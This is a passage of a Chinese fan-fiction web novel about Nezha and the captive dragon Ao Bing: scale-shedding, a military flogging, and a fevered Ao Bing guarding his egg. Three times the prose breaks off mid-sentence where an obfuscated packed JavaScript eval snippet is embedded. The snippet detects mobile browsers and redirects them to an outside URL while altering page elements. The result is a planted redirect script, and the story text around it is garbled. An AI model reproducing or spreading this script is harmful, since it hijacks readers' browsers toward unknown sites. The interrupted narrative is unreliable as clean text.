少年“啧”了声,摘了片宽大的芦苇叶。他行至塘边,将叶子卷成筒状舀了些水。水色颇为浑浊,漂着细碎草屑。 敖丙眼底掠过几分嫌弃,最终还是凑过去,就着少年递来的叶子啜饮起来。 清水入喉,几滴晶亮沿唇角淌落。那截脖颈纤瘦白皙,水珠莹莹。 少年怔了怔。 自那日后,红衣少年便常来。 有时是半个馒头,有时是几块肉干,有时是一捧野果。 他总是一副漫不经心的样子,把东西往笼里一丢,说句“吃吧”,然后就蹲在一旁看敖丙小口小口地吃,偶尔伸手摸摸那对冰蓝色的角—— 敖丙默许了这项报酬。 他是龙、是兽类,骨子里有着最直白的生存本能。有饭吃有水喝,自己才能活下去。 所以敖丙并不觉得吃“嗟来之食”有什么可耻,反而坦坦荡荡地接受这份照顾,甚至会在哪吒来的时候,主动将角凑近栏杆。 渐渐的,敖丙甚至开始期待那抹红影。 少年总会带来一点鲜活气,他会讲今日校场谁输谁赢,姜师叔又念叨了什么,雷震子那对翅膀差点被火星子燎着…… 虽然敖丙大多时候只是听着,偶尔应几句——笼子里不再是死寂一片了。 “你们龙都像你这么好看么?”有一回,少年突然问。 敖丙咬着半块饼,抬眼看他。 “你角也好看,”少年自顾自说,墨瞳亮晶晶的,“比我在陈塘关见过的所有宝物都好看。” 敖丙垂下头,慢吞吞地吃完饼,才轻声道:“明日……你来么?” 少年笑了:“来啊。养个小宠儿,还挺有意思的。” 这话说得轻佻,可敖丙却不觉冒犯。他知道这少年是谁,送饭的兵卒也经常提过。 李哪吒。 对方怎么待他,敖丙从来不在意。他只知道,今日有饭吃,明日哪吒还会来。 这便够了。 …… 又一日。 哪吒提着包新得的桂花糕,哼着小曲儿晃至芦苇丛,却见笼中景象大变。 敖丙蜷在角落,浑身都在发颤,原本清泠泠一条龙现出了妖相。冰蓝色角身生辉,耳后生出薄纱般的耳鳍,颈侧、腕间覆上一层细鳞。 龙尾自袍下蜿蜒而出,鳞片参差,逶迤铺了半笼。 听见脚步声,敖丙抬眼去看,额间冷汗涔涔,唇色却嫣红如涂丹。 “敖丙!”哪吒扑到笼前,“你这是怎的了?” 敖丙忍了半晌,才从齿缝里挤出几个字:“蜕…蜕鳞期到了……” 话音未落,颈侧几片蓝鳞翻起,金血珠玉般滚落衣襟。紧接着,肩背、手臂乃至龙尾之上,鳞片纷纷松动脱落,露出大片的嫩红皮肉。金血淋漓,将衣袍染得斑驳陆离。 疼。 钻心蚀骨的疼。 仿佛有人拿钝刀子,一片片刮他的鳞,剔他的骨。 敖丙咬紧牙关,十指死死抠住笼栏,只从齿缝间溢出极轻的抽气声。 哪吒看得心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117033|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头揪紧。 他自幼征战,断臂剖腹的伤见过无数,可这般全身剥鳞的苦楚,光是瞧着就觉得心惊肉跳。 电光石火间,哪吒做了一件连自己都未及细思的事—— “咔哒!” 玄铁锁头应声而裂。 那锁乃姜子牙亲设,刻满了镇灵的符咒。敖丙这些日子试过无数方法,木撬、石砸都不能动分毫。 谁曾想在哪吒手中,锁头却泥塑纸糊一般。 笼门洞开,哪吒弯腰将人抱出,触手轻飘飘一团。 龙尾无力垂落,尾尖尚在淅淅沥沥滴血。 他仔细查看伤势,发现龙尾近臀处有道半寸小口,汩汩渗出清亮水液,与其他鳞伤迥异。 “先止住这处……”哪吒来不及细想,忙从豹皮囊中抽出一张素帕,径直按了上去。 帕子方触伤口,顿觉满手的湿滑温腻。 “啪!” 那条长尾反卷上来,结结实实抽在了哪吒脸侧。 他猝不及防退了两步,左颊火辣辣地疼。敖丙这一下力道奇重,饶是哪吒莲花化身,半边脸也肉眼可见地肿了起来。 哪吒自出世以来,只在邓婵玉的五色石下吃过这等亏,被周营将士笑话了半月有余。哪吒最好颜面,为此怄了整整三日闷气。 如今又被这小龙当脸抽了一尾…… 他正要发作,却见敖丙气得鼻尖泛红,泪珠子断线似的往下滚,偏偏还要强撑出凶相:“你把手拿开!” 帕上全是透明水液,并非金色的龙血。 哪吒蓦地明白了什么,耳根烧红,慌忙撤了手。 帕子飘然落地,濡湿一小撮草叶。 “对、对不住。”哪吒结巴起来,讪讪摸了摸肿起的脸颊,“我不知那是——” 话到嘴边却咽了回去,他虽未经人事,到底在军营里听过些浑话,隐约猜到那处恐怕…… 敖丙见他这般模样,羞愤愈甚,蜷在笼中发着抖。待蜕鳞的剧痛渐缓,敖丙才神智回笼,挑衅道:“你不怕我趁机跑了?” “有这个你走不脱。”哪吒指了指他腕间的镣铐,又补一句,“即使没这个,你也打不过我。” 这话说得傲气,却是实情。 敖丙气结又无力反驳,静了片刻,他想起了一桩要紧事:“能否……予我几件你不要的旧衣?” 哪吒不解地问:“要这个作甚?” “龙族百岁一蜕鳞,历时三至七日。此间若能筑巢而居,可减大半痛楚。”敖丙解释得很慢,每说一字都似耗去不少力气,“寻常布衣即可。” 哪吒点点头,将敖丙放在一旁草甸上,抬手解了自己的外袍。 那是件新裁的箭袖红衫,云锦面子,里衬着软绒,领口袖边皆以金线绣了莲纹,瞧起来就是精心缝制的。 “不可!”敖丙急急按住他手,“这是簇新的衣裳,我浑身污血岂不糟蹋了?” “衣裳而已,脏了便脏了。”哪吒浑不在意,将外袍塞进他怀里,“你且用着,我营中还有几件旧的,回头都取来。” 敖丙怀抱尚带体温的衣袍,喉间微哽:“多谢。” 见敖丙抱着衣裳要往破笼里钻,哪吒拦住了对方:“此处锁既坏了,这笼子也关不住你……先随我回营帐罢。” 边说,他边俯身将敖丙连龙带尾抱了出来。 动作虽有些笨拙,力道却稳,小心避开了那些蜕落的鳞片。 踏着满地夕照,哪吒往军营走去。 10. 筑巢 按照惯例,行军途中将士多是两三人合住一帐。哪吒这次扎营和杨戬抽到了同帐,而杨戬督粮未归,偌大个军帐只剩他一人住着。 哪吒将敖丙放在榻上。 敖丙局促地坐着,手尾都不知道该往何处放。他这月余未沐浴,囚衣污浊,鳞片又脱落,实在不愿玷污了床铺。 “你且坐着,莫动。”哪吒说着,去豹皮囊里翻找,不多时取来几件半旧的衣衫。 敖丙谢过接过,他不敢耽搁,忙将红的叠着青的、软的垫着厚的,一层复一层,在床角垒出个半圆小窝。 料子沁着少年身上蓬勃的火灵气息,混了若有似无的莲香—— 许是莲花化身的清气。 敖丙忍不住耸了耸鼻尖,整条龙团进五彩巢中。 帐内无风无雨,将操练声、马嘶声隔绝在外,比露天笼子舒适极了。敖丙感到安稳,昏昏沉沉想要睡去。 “喂。” 敖丙睁开眼,发现少年抱臂坐在榻边。 “你这龙……”哪吒开口,语气里带着几分不解,“怎生这般小?” 他伸指虚虚一点:“角小,身子小,连尾巴也细伶伶的。我还以为龙族都该是庞然巨物,翻云覆雨的那种。” 这话戳中了敖丙的痛处。 他父王敖光真身绵延百里,两位兄长亦是威风凛凛。唯他因早产先天不足,总比同辈小上一圈。 如今蜕鳞期本就难受,这人还偏偏要来揭短。 敖丙不由腹诽:你还是天定的伐纣先锋官呢,不也就是个半大娃娃?整日不思操练兵马、笼络军心,倒有闲工夫围着他这条囚龙打转。 不过念及这些时日的照拂,那点恼意又散了。敖丙将脸往衣堆里埋了埋,闷声道:“要你管。” 哪吒没有察觉他心绪,盯着巢穴瞧。 几件旧衣胡乱堆作一团,鼓囊囊、蓬松松,边角全未理齐,与敖丙平日清冷自持的模样大相径庭。 “你这窝搭得不成样子,疙疙瘩瘩的,睡着岂不难受?”哪吒怕这小龙睡不舒坦,伸手想替对方理理。 敖丙吓了一跳,本能地直起身想挡,胸口险些撞上哪吒探来的手。 “!” 哪吒被火燎般缩回手,往后退了几寸。 敖丙茫然睁眼,看着少年慌里慌张躲开的模样,很是不解。他试探着往哪吒身旁挪了些,两人肩膀将将挨着—— 哪吒没躲。 他又侧过身,将胸腹贴向对方手臂。 “你、你做什么!”哪吒直接跳下了榻,赤足站在地上,面红耳赤,连话都说不利索。 敖丙明白了。 方才抱他回帐,哪吒对自己只敢环肩揽尾,刻意避开了胸腹腰臀。 莫不是将他当成姑娘家了? 敖丙望向帐角那面模糊的铜镜,镜中人面白唇朱,分明朗朗的男儿相。只是瘦削得过分,下颌尖尖,颇有几分弱不胜衣之态。 可再怎样,也绝无半分女儿气。 敖丙一时间不知该气还是该笑。 真真是奇也怪哉,这莲花化身的煞星战场上杀人如割草,私下里却是个愣头青。明明自己长相、身量、嗓音无一处似女子,他偏要一厢情愿地将自己当成“小姑娘”照料。 一颗七窍玲珑的莲藕心,怎么塞满了凡俗大男子的迂腐念头? 敖丙望着哪吒那副非礼勿视的别扭模样,故意又往那边靠了靠,果然见对方浑身绷紧,如临大敌。 “你很怕碰着我?” “谁、谁怕了!” “哦?”敖丙慢条斯理地蜷回窝巢,“那为何我挨着你,你便躲?” 哪吒语塞,憋了半晌才道:“男、男女授受不亲!” “李哪吒。” “怎么?” 哪吒闻声看去,撞进了那双含笑的凤眸。 “我,”敖丙说得清晰,“是男子。” 片刻,哪吒张张嘴,半晌才挤出一句:“……哦。” 然后他同手同脚走到兵器架旁,假装整理起擦得锃亮的火尖枪。耳根那抹红明艳艳,一路烧到了脖颈。 敖丙重新蜷回彩衣堆,将脸埋进巢里。 “呆子。”他小声嘟囔。 …… 近日无战事,周商两军皆偃旗歇马,各自进行休整。 哪吒趁着晚间去伙夫营打了两份饭食,回帐后和敖丙一块吃了,又翻出些瓶瓶罐罐,里头装着各色草药膏子。 仙家丹药对龙族蜕鳞效用甚微,哪吒只好从自己囊里找了些普通药材。 他常年征战,又是个闲不住的性子,平日最爱攀崖探洞、追禽逐兽,有时会顺手采些止血消炎的草药备着,今日总算派上了用场。 “此药于仙法无大用,止疼消炎却是好的。”哪吒捻了药粉,轻敷在鳞片的脱落处。 粉末触到嫩红新肉,龙身随之颤了颤。 敖丙本是娇养惯的,有些受不住,细声抽气道:“轻、轻些……” 哪吒本想着嘲他两句“娇气”,见小龙眼尾染着水光,不由得有些心软,只默默将药敷匀,又喂他服了粒安神丸。 待收拾妥当,已是亥时。 帐中本有两张床榻,一张是哪吒的,另一张属杨戬。 哪吒自然不能让伤员睡地上,可自己也不愿打地铺。 至于杨戬的床…… 那人洁癖得紧,要是知道旁人睡了,怕是要冷着脸把整张床烧了。 思来想去,哪吒凑到榻边,推了推窝在衣巢中的小龙:“喂,挤一挤可好?” 敖丙睡得迷蒙,被摇醒也不恼。如今自己寄人篱下,哪有资格使性子?他迷迷糊糊“唔”了一声,抱着尾巴往里缩了缩。 哪吒和衣躺下,两人之间隔着一掌宽的空隙。 他本来还担心自己睡相不佳,会压着对方伤处。谁知不过片刻,他们都沉沉睡去了。 少年不识愁滋味,一枕黑甜到天明。 - 天方破晓。 杨戬督粮归来,比预期早了两日。 他一路风尘仆仆,只想早些盥洗休整,好向姜子牙复命。 杨戬修得八.九玄功,五感通明,至帐前忽然发觉有异。除哪吒外,还有一道陌生的气息。 军营之中将士压抑日久,偶有寻些疏解也是常事。杨戬虽然出身昆仑,讲究清修,却非不通世情之人,军中那些你情我愿的交易他也见过几回。 只是……哪吒居然将人带到二人共用的营帐? 杨戬自诩做人尚有底线,虽说战场上烧粮草、搞偷袭、放哮天犬撕咬敌将等事没少干。 在风月事上,他向来洁身自好。 昆仑弟子讲究“道法自然”,不刻意禁欲。但同门师弟真做出这等荒唐事,他这做师兄的终究觉得膈应。 他在帐外立了半盏茶工夫,里头毫无动静。 杨戬眉峰越拧越紧。 胡闹也要有个限度,这都什么时辰了,还不起身? 他连日奔波本就疲倦,还等着向姜师叔禀报粮草事宜,没有闲工夫候着。 除此之外,杨戬也存了几分好奇。 究竟是何等人物,让哪吒这混世魔王破了规矩? 思及此,杨戬掀帐而入。 两个少年相拥而眠,哪吒红衣半敞,一条胳膊横揽着,里头蜷了个冰蓝团子。那团子银发逶迤,耳鳍薄透,半张脸埋在哪吒颈窝。一条鳞光闪闪的龙尾环在哪吒腕上,尾梢轻勾着。 是东海那条被俘的龙。 杨戬如遭雷击。 他认得敖丙。月前姜子牙还命他审讯过,那时这小龙蜷在铁笼里,任如何威逼利诱愣是不开口,一副油盐不进的模样。 如今倒好,竟然钻到伐纣先锋官的床上来了! “罢了,总比找个来历不明的强。”杨戬扶额,只觉太阳穴突突直跳。他转身,又瞥见自己那张整洁如初的床铺,心下稍慰。 还好,没动我的地方。 不过敖丙为何在此?姜师叔分明下令严加看管,绝不许他与周营要员接触。而哪吒身为后哨先行官将敌俘私藏帐中,甚至同榻而眠…… 这不是胡闹,这是捅破天了。 “师兄。” 榻上传来含糊的声音。 哪吒看清杨戬阴沉如水的脸色,一个激灵清醒过来。他慌忙坐起来,将敖丙往身后挡了挡,干笑道:“师兄……你回来了?” 杨戬不语,只冷冷看着他。 哪吒咽了口唾沫,试图挣扎:“你、你不会告诉姜师叔的,对吧?” 杨戬沉默。 三尖两刃枪未在手,凛然气势已压得帐内空气凝滞。他盯着哪吒看了许久,反手从怀中摸出一枚传讯玉佩。 “杨戬求见姜师叔,有要事禀报。” - 不过一炷香工夫,帐外脚步声纷至。 姜子牙当先而入,身后跟着黄天化、雷震子、武吉等将领,更有数名亲兵持戟而立。 众人齐刷刷看向两人,只见哪吒衣衫不整,满榻狼藉药罐衣物。 一副好事被撞破的光景。 哪吒半跪在榻沿,仔细为敖丙拢紧袍角。他将龙君从头到脚裹得严实,连一片冰鳞都不露在外头。 见状,黄天化冷笑着上前:“师弟好兴致!两军对垒之际私藏敌囚……莫非是中了美人计,要叛周投商不成?” “你胡吣什么!”哪吒怒目而视。 “是不是胡吣,验过便知。”杨戬打断了两人的对峙,指尖一弹,金光射向敖丙眉心。 探魂术。 哪吒想拦已迟,只听见杨戬冷声说:“魂魄纯净,未施蛊惑之术。” “师叔,”哪吒松了口气,强作镇定,“此事……” “不必多言。将两人押下去,”姜子牙抬手止住,目光在几人之间打了个转,“分开关押,待我亲自审问。” 亲兵上前,不由分说地将敖丙拽起。龙尾拖地,蜕鳞处渗出血珠,在毡毯上洇出蜿蜒的金痕。 敖丙形容狼狈,被各色的目光看着,恨不能缩进地缝里去。他听得周遭吵嚷,看到两名兵士反剪了哪吒双臂,将其按跪在地。 “师叔!”哪吒急道,“他蜕鳞尚未痊愈,不能……” “哪吒,”黄天化将莫邪剑横在哪吒颈前,拦住了对方,“事到如今你还不知悔改?” 那件赤红箭袖委顿在地,袖口沾了灰尘和药膏,显得污浊不堪。哪吒望着,想起昨日敖丙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117034|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜷在巢中轻嗅这衣裳的模样。 像只终于寻着暖处的流浪猫儿。 可如今,暖处没了,猫儿也被抓走了。 哪吒心头骤然一痛,待要挣扎,却被杨戬按住了肩头:“别闹了。” “师叔!此事与敖丙无关,是我……” “哪吒,你还不知错?!” “爹?” 一位金甲将军排众而出。 是李靖。 他面色铁青,几步走到哪吒面前,扬手便是一记耳光。 少年脸上又添了道红痕,他却浑不在意似的,随手抹去嘴角渗出的血丝:“军法如山,孩儿认罚。只是敖丙他……” “闭嘴!”李靖呵斥完哪吒,又行至姜子牙身前,抱拳道,“犬子犯禁,按军律当罚。末将愿亲执刑杖。” “既如此,”姜子牙沉吟片刻,“哪吒私纵要犯,擅改囚禁之地,杖五十,即刻押往校场行刑,以儆效尤。至于此龙……暂押禁闭营,容后再议。” “爹……”哪吒欲争,却被李靖厉声喝断。 “逆子!为父教你的忠义廉耻,都喂了狗不成?!你身为伐纣先锋官肩负三军期望,现在竟与敌酋厮混一处,成何体统?!” 哪吒抿唇不语,只将敖丙往身后护了护。 这动作落在李靖眼中,更是火上浇油,他厉喝一声:“拿下!” 敖丙在旁心急如焚,方才拉扯间,他筑的巢已被践踏得七零八落,沦为一摊破布。 新鳞处渗出金血,混着汗涔涔而下。 他想要求情,却半个音也吐不出,只能眼睁睁看着两名军士将哪吒架起,向帐外拖去。 临到帘边,哪吒忽然回头喊道:“姜丞相!他伤重……求您让他留在此帐!” …… 帐内人潮渐散,最后只剩武吉。 黑面汉子取出捆仙绳,将敖丙已戴镣铐的手尾又缚了一道:“方才哪吒特意向师父求情,望你还能留在这帐中养伤。” “那孩子……是个实心眼的。莫负他。” 敖丙望着帐顶,眼中空茫茫似雾海。武吉见他这般模样,摇摇头也去了。 - 这一等,就是两个时辰。 日影西移,漏进的光由金转橙,终至灰蓝。校场方向隐约传来杖责的声音,闷响如擂鼓。 新鳞生处痒痛钻心,捆仙绳勒得皮肉发麻,敖丙浑然不觉,竖耳听着外头的动静。 敖丙数着那声响,从一至十,十至二十……待到三十多下似是有人求情,杖声停了片刻,再响起之时轻缓了许多。 待最后一记落定,敖丙已冷汗透衣。 身上疼,心里慌,镣铐贴着新蜕的嫩肉,每一次呼吸都牵扯出刺痛。 帘掀起,雷震子搀着一人进来。 那人红衣尽碎,后背至臀腿无一块好肉,血污浸透裤管,每走一步便印个暗红脚印。 五十军棍是卸了甲打的,里衣被军棍撕得褴褛,布片湿淋淋贴在皮肉上,分不清哪是布料哪是伤。 “轻些轻些!”雷震子嚷着,小心翼翼将哪吒安置在杨戬榻边的毡毯上。 那厢杨戬随后而入,凉凉道:“劳驾,离我的床远些。” “偏不。”哪吒气若游丝,还要强撑着面子,“有本事你去告状,让李靖再来打五十棍。” “你!”杨戬气结。 敖丙在一旁听得心惊。 他知道人间军法森严,却未料到李靖对亲子也如此严厉,也没有想到周军会对自家先锋下这般狠手。 “师兄少说两句,我这儿有……”雷震子忙打圆场,取出金疮药想要给哪吒敷,却被对方抬手格开了。 “不必,”少年声音嘶哑,“你们都出去。” “哪吒!”雷震子急了。 “出去。” 杨戬纹丝不动:“师弟莫忘了,这也是我的营帐。” “你的床?营帐可是抽签定的。”哪吒声音嘶哑,面上是惯有的执拗。 “那也轮不到你在此养姘头。”杨戬讥讽道。 “杨戬!”雷震子忙上前拉住他,“少说两句,哪吒伤着呢!” “伤?”杨戬唇一勾,语气凉薄,“我看他精神得很。” “行了行了!”雷震子急得跺脚,连推带搡将杨戬往外带,“你明知他最好面子……走走,找师叔复命去。” 脚步声渐远。 捆仙绳束缚灵力,镣铐又锁住四肢,敖丙像条离水的鱼,一点一点蹭到哪吒那边。他每动一下,伤口就传来撕裂般的痛,可他顾不上了。 他想看看哪吒的伤。 少年伏在血污中,墨发被汗濡透,唇瓣翕动,似在喃喃什么。 敖丙以为他疼昏了说胡话,忙勾身去瞧。 两人的面颊几乎相贴。 鼻息交错,敖丙瞧见哪吒长睫一撩,缓缓睁开眼。 那张脸上痛楚未消,神色却异常的平静。哪吒看着近在咫尺的敖丙,扯了扯嘴角:“方才…好生丢人。” 他思索几秒,又补了一句:“李靖,此仇不报,我誓不为人。” 敖丙:“……” 这傻子。 都被打得半身不遂了,居然还在纠结面子。 11. 护崽 敖丙独坐在客房中,对着一窗风雪,回忆前尘旧事。 彼时他以为哪吒待他有几分真心,后来才知那场苦肉计是为了骗取他的信任,好教自己松口归降。 只是,他又何尝纯粹? 骗取真心是真,阻挠封神亦是真。两个各怀目的的人在烽火连天里演了一出荒唐戏,演着演着,他们渐渐都忘了初衷。 各怀心思的靠近,谁又比谁干净? “叩、叩。” “客官,可歇下了?” 敖丙起身开门。 门外伙计搓着手,“和您同行的那位红衣公子……还未回来。小店原该落锁了,小的心想总得告知您一声。” “知道了。多谢相告,我这便去寻。” 伙计偷眼瞧了瞧敖丙屋中,鹅黄襁褓安安静静的,没有发出半点婴啼。他好奇却没有多问,只道:“雪大路滑,客官仔细脚下。” 送走伙计后,敖丙回到床前,小心翼翼地捧出蕴灵贝:“爹爹要去找你父亲了,乖乖的,等我回来。” 蛋壳莹莹一闪,应了他。 敖丙取过那件纯白狐裘披上,他低头看了看。 这裘衣是上好的雪狐皮所制,绒毛丰密,针脚银亮,一看就知道价值不菲。哪吒向来出手阔绰,对在乎的人从不吝惜。 敖丙收下的时候想着是“暂借”,可心底那点贪恋他自己最是清楚。 舍不得。 只是人情债终究要还,纵使龙宫府库早已虚空,纵使东海龙族荣光不再,他敖丙,也不能欠李哪吒分毫。 …… 雪夜孤行,天地皆白。 敖丙深一脚浅一脚走着,纱靴虽然换了防滑的,到底行不惯雪路。狐裘的下摆被雪浸透,沉甸甸坠着。 敖丙记不清走了多远,只感到积雪没过脚踝,寒气透过靴底直往骨头里钻。 问过三家客栈,皆无踪迹。 终于,他又停在一家客栈门前,檐下挂着“悦来居”的匾额。敖丙推门进去,惊醒了柜台后打盹的伙计。 “店家,”敖丙喘着气,拂去睫上的雪花,“方才可有一位红衣公子来投宿?约莫……十六七岁模样,生得俊俏,穿赤狐裘的。” 伙计依然瞌睡着,闻言揉眼道:“客官,小店连日客满。而且莫说今日,就是前几日也未见着穿红衣的公子。” 敖丙默然。 雪势愈猛,纵是哪吒当真在附近,这般寻法也无异于大海捞针。他心中还惦着龙蛋,那孩子虽在蕴灵贝中,到底离不得他太久。若真有个闪失…… 回去了。 敖丙往来路走,脚印很快被新雪覆盖,仿佛从未有人走过这一程。 - 菲来客栈。 整个大堂空寂,伙计正伏在柜台打盹。桌角一盏油灯燃着,灯芯结了朵小小的灯花。 敖丙望着那簇火苗。 哪吒的帐中总是这般昏暗,少年将军最不耐烦点灯,常说“有那闲工夫,不如多睡会儿”—— 至多只在案头燃一盏小油灯。 豆大的火苗摇摇曳曳,将两人的影子投在帐壁上,交叠在一处。他蜕鳞疼得睡不着,哪吒便盘腿坐在榻边,就着那点光给他涂药膏。 想着想着,敖丙轻笑出声。 笑声惊醒了打盹的伙计。年轻人迷迷糊糊抬头:“客官?” “无事。”敖丙摇头,转身上了楼。 刻舟求剑。 他方才冒雪寻人的举动与楚人何异?船已行千里,水非旧时水,他却还固执地想在原处找回失落的东西。 可哪吒不是剑。 他是风,是火,是抓不住留不下的灼灼烈日。千年遗忘,五百年的错身,他们之间早已隔了天堑。 敖丙想,自己怎么一直在做这样愚蠢的事。在流淌千年的时光之河上固执地标记某个早已消失的瞬间,然后一遍遍打捞、一遍遍落空。 迈出步子去寻那人又如何? 那人早已不是千年前的少年,甚至……连记得都不记得了。 回到房中,敖丙头重脚轻,他伸手一探额间,发现入手滚烫。 想来是雪夜奔波,寒气入体。他本就体弱,这些年又以精血喂养龙蛋,元气大损,哪里经得起这般折腾? 眼前景物开始摇晃,敖丙强撑着查看蕴灵贝,见龙蛋安然,他悬着的心才落下。 敖丙从行囊中取出赤红衣袍,又将白狐裘叠在上头,两件衣裳团成一团,外层用被子仔细裹好,做成个简陋的巢。 蜕鳞期筑巢缓解痛楚,是龙族本能。可他现在筑这巢,却不是为了身体上的疼。 敖丙蜷进巢中,将脸埋进那团衣物,鼻尖萦绕着极淡极淡的火灵气息。 意识浮浮沉沉,他仿佛听见有人在耳边笑,清亮亮的:“你这龙,怎么跟猫儿似的?” “敖丙,跟了我吧。等我伐纣功成,带你回陈塘关,我娘做的桂花糕可好吃了……” 又仿佛看见那双金瞳:“本帅才不会欺负你。” …… 次日雪霁天青,哪吒踏着满地琼碎寻至客栈。 他昨日花重金在镇东置了处两进院子,青砖黛瓦,十足十的清静。 这小镇看似安宁,实则妖气混杂,绝非三两日能料理干净的。倒不如寻个固定落脚处,也免得敖丙带着龙蛋颠沛流离。而且自己是监察官,总得护着巡查使周全…… 虽说巡查使昨日着实气人。 哪吒敲了敲门:“敖丙?” 里头无人回应。 他再叩:“昨日是我失言,那蛋…那孩儿生得甚好,粉团团玉雪可爱。” 仍无应答。 哪吒等了片刻,眉峰渐蹙。他本就不是个有耐性的,昨日让出客房已是破例,如今好声好气来寻,居然还要吃闭门羹? 当下他也懒得再敲,掌心运力一推。 屋内昏暗暗的,炭火早熄了,寒气顺着门缝往里钻。 榻上的龙蜷作一团,身上只着素白中衣。肩胛骨嶙峋地支着衣料,单薄似纸裁的人儿。他将红袍和白狐裘团在怀里,双臂紧紧抱着。 哪吒走进去看,发现敖丙唇色惨白,两颊却晕着酡红,似胭脂误抹上了玉。 “敖丙?”哪吒唤道。 龙君纹丝不动。 “喂,你气性也忒大了些。”哪吒伸手轻推他肩,“醒醒,我有话同你……” 敖丙蓦地睁开眼,瞳孔竖起,夹杂了些兽类般的锐光。下一瞬,敖丙抓住了哪吒的手腕,不由分说地往唇边送。 “嘶!” 哪吒乃天生莲躯,血非凡俗殷红,而是金红交织的莲华色泽。伤口处血液溅出,不及落地化作片片莲花瓣,色泽妖异,散发着甜靡的香。 “松口!”哪吒回过神,另一只手钳住敖丙下颌,稍一用力迫使对方松了齿关。 敖丙神智昏聩,兀自低低嘶吼着,呲起沾了血的银牙,还要再咬。 哪吒没注意到这些,只看见敖丙疼得蹙眉,心下软了些。他不敢下重手,松了力道。敖丙趁隙又是一口,咬在方才的伤处。 金红莲瓣混着龙族透明的涎液,滴滴答答落在两人交握的手。 “你……”哪吒这才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117035|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉出不对,掌心贴上敖丙额头,触手滚烫,“发烧了?” 敖丙那双凤眸水雾氤氲,戒备地盯着他。十指指甲渐长,隐现鳞光,显然被高热引动了妖相。 然而,即便意识模糊,他仍牢牢护住身后那物。 是蕴灵贝。 贝壳开了一缝,可见的里头粉光辉映。 哪吒恍然。 龙族乃上古神裔,纵使化为人形,骨子里仍是兽。如今敖丙高烧昏沉,本能占据上风,这是将他当作了威胁幼崽的入侵者,在拼死护雏呢。 “敖丙,”哪吒放柔声音,“你病了,我带你去瞧大夫。” 似是听懂了“病”字,敖丙咬合的力道松了些。他茫然望着哪吒,喉间嘶吼渐弱,却仍不肯完全松口。 哪吒无奈,并指欲掐个治愈诀,想先止住手上的血。 他乃莲花化身,血液自带净化的功能,寻常妖邪触之即伤,恐怕会对敖丙不利。 指诀方起,腕间禁仙咒黑纹大亮,窗外传来隆隆的雷声。 再试,天际雷声愈烈,电蛇隐现。 “啧,”哪吒收手,仰头翻了个白眼,“天庭这帮老古板,连监察官都盯得这般紧。” 无法,他只好收了神通,召出混天绫,准备先将龙缚住。 粉蛋自哪吒入门就警觉起来,他困在壳中不得出,灵识却很敏锐。他感知到爹爹受惊,急得团团转。 奈何贝壳合拢,他又未破壳,只能像个陀螺似的在海藻绒上滚,怎么也挣不出来。 过了会儿,红衣生人居然敢对爹爹动手。龙蛋更是怒极,拼着那点未成形的灵力,硬是在哪吒绑缚敖丙的时候顶开了贝盖。 “恶徒!休伤我爹爹!” 若蛋能开口,怕是要脆生生叱一句。可惜终是颗蛋,只携着风直撞哪吒面门。 哪吒正全神贯注捆缚敖丙,余光瞥见粉影袭来,想也不想抬臂格挡。 “啪!” 那物撞在他手腕,又弹回榻上,骨碌碌滚了几圈。幸得敖丙铺床时絮了多层棉褥,否则这一下怕是要壳裂黄流。 哪吒心头一跳,暗道好险。若真摔坏这丑蛋,敖丙醒来怕是要与他拼命。 粉蛋静了片刻,又颤颤巍巍立起,蛋尖对准哪吒,左摇右摆地“瞪”着他,俨然一副怒气冲冲的模样。 “倒是个硬实的丑东西。”哪吒见那蛋完好无损,在褥间蹦跶得欢实,放下心来。 这粉蛋口不能言,又蹦又跳的,瞧着还怪喜庆。 不过敖丙将蛋护得跟眼珠子似的,也不知那早死的生父是何等人物,能得敖丙这般倾心相待,将遗腹子看得比命重。 这厢,粉蛋不肯罢休,朝着哪吒的方向又要滚来。 哪吒知道不能再耽搁,他瞥了眼那蛋,心道带这碍事玩意儿作甚?于是取过蕴灵贝,将龙蛋囫囵塞入,又扯了段帐幔将贝壳牢牢系紧,最后往梁上一挂。 “安分些,”哪吒屈指弹了弹贝壳,“我带你爹瞧病去。” 语罢,他将敖丙打横抱起。 龙君看着身量颀长,抱起来却轻飘飘的,仿佛只剩一把清骨,裹着层薄薄皮肉。 哪吒用狐裘裹好对方,回头瞥了眼整屋的狼藉。 金红莲瓣逶迤成蹊,馥郁的香久久不散。粉蛋在简易兜袋里晃晃荡荡,气急败坏地闪着光。 旋即,哪吒抱着敖丙踏出房门,走下木质楼梯。 伙计忙着擦拭桌椅,见状惊得抹布都掉了:“客官,这、这是……” “医馆在何处?”哪吒声音冷冽。 